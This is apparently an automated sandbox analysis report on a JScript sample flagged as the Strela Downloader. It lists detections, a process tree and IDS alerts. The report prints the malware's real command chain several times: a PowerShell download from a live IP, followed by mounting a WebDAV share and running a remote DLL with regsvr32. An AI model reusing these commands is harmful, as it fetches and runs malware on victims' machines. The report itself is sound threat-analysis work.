Edit tour

Windows Analysis Report
253742123626823892.js

Overview

General Information

Sample name:	253742123626823892.js
Analysis ID:	1588529
MD5:	d91af96c0d7dc045f7545c1dadf277aa
SHA1:	086755abd3c90dfecf3ab0cf4d2b139ba61fa1c4
SHA256:	075154ad14220f7466d86639857ce2fa8c9c3d58d91d232e482ea938e6faeddb
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4568 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\253742123626823892.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1528 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7024 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4648 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4080 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5096 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1644,i,17921316697761337183,13458246683038428077,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4900 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6700 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3504 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 4568	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1528, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7024, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1528, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7024, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\253742123626823892.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\253742123626823892.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\253742123626823892.js", ProcessId: 4568, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6700, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\253742123626823892.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4568, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll, ProcessId: 1528, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\253742123626823892.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4568, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll, ProcessId: 1528, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\253742123626823892.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4568, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll, ProcessId: 1528, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\253742123626823892.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4568, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll, ProcessId: 1528, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\253742123626823892.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4568, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll, ProcessId: 1528, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\253742123626823892.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\253742123626823892.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\253742123626823892.js", ProcessId: 4568, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1528, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7024, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4900, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6700, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3504, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4900, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6700, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\253742123626823892.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4568, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll, ProcessId: 1528, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:06:24.671777+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:06:27.288244+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:06:24.671777+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 253742123626823892.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 253742123626823892.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 253742123626823892.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49704 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:06:24 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 63 6

Uses known network protocols on non-standard ports

